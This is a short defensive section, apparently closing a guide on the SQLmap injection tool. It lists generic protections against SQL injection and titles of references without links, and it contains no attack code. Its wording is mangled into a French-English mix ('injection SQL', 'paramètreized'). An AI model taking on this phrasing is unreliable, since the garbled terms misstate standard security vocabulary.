Defensive Considerations

Detection and Prevention: - Monitor for SQLmap signatures and injection SQL patterns - Implement application web Firewalls (WAF) with injection SQL protection - Deploy database activity monitoring and anomaly detection - Regular security code reviews and static analysis - Input validation and paramètreized query implementation

références

  1. SQLmap Documentation Officielle
  2. SQLmap GitHub Repository
  3. OWASP injection SQL Prevention
  4. injection SQL Testing Guide
  5. Database Security Best Practices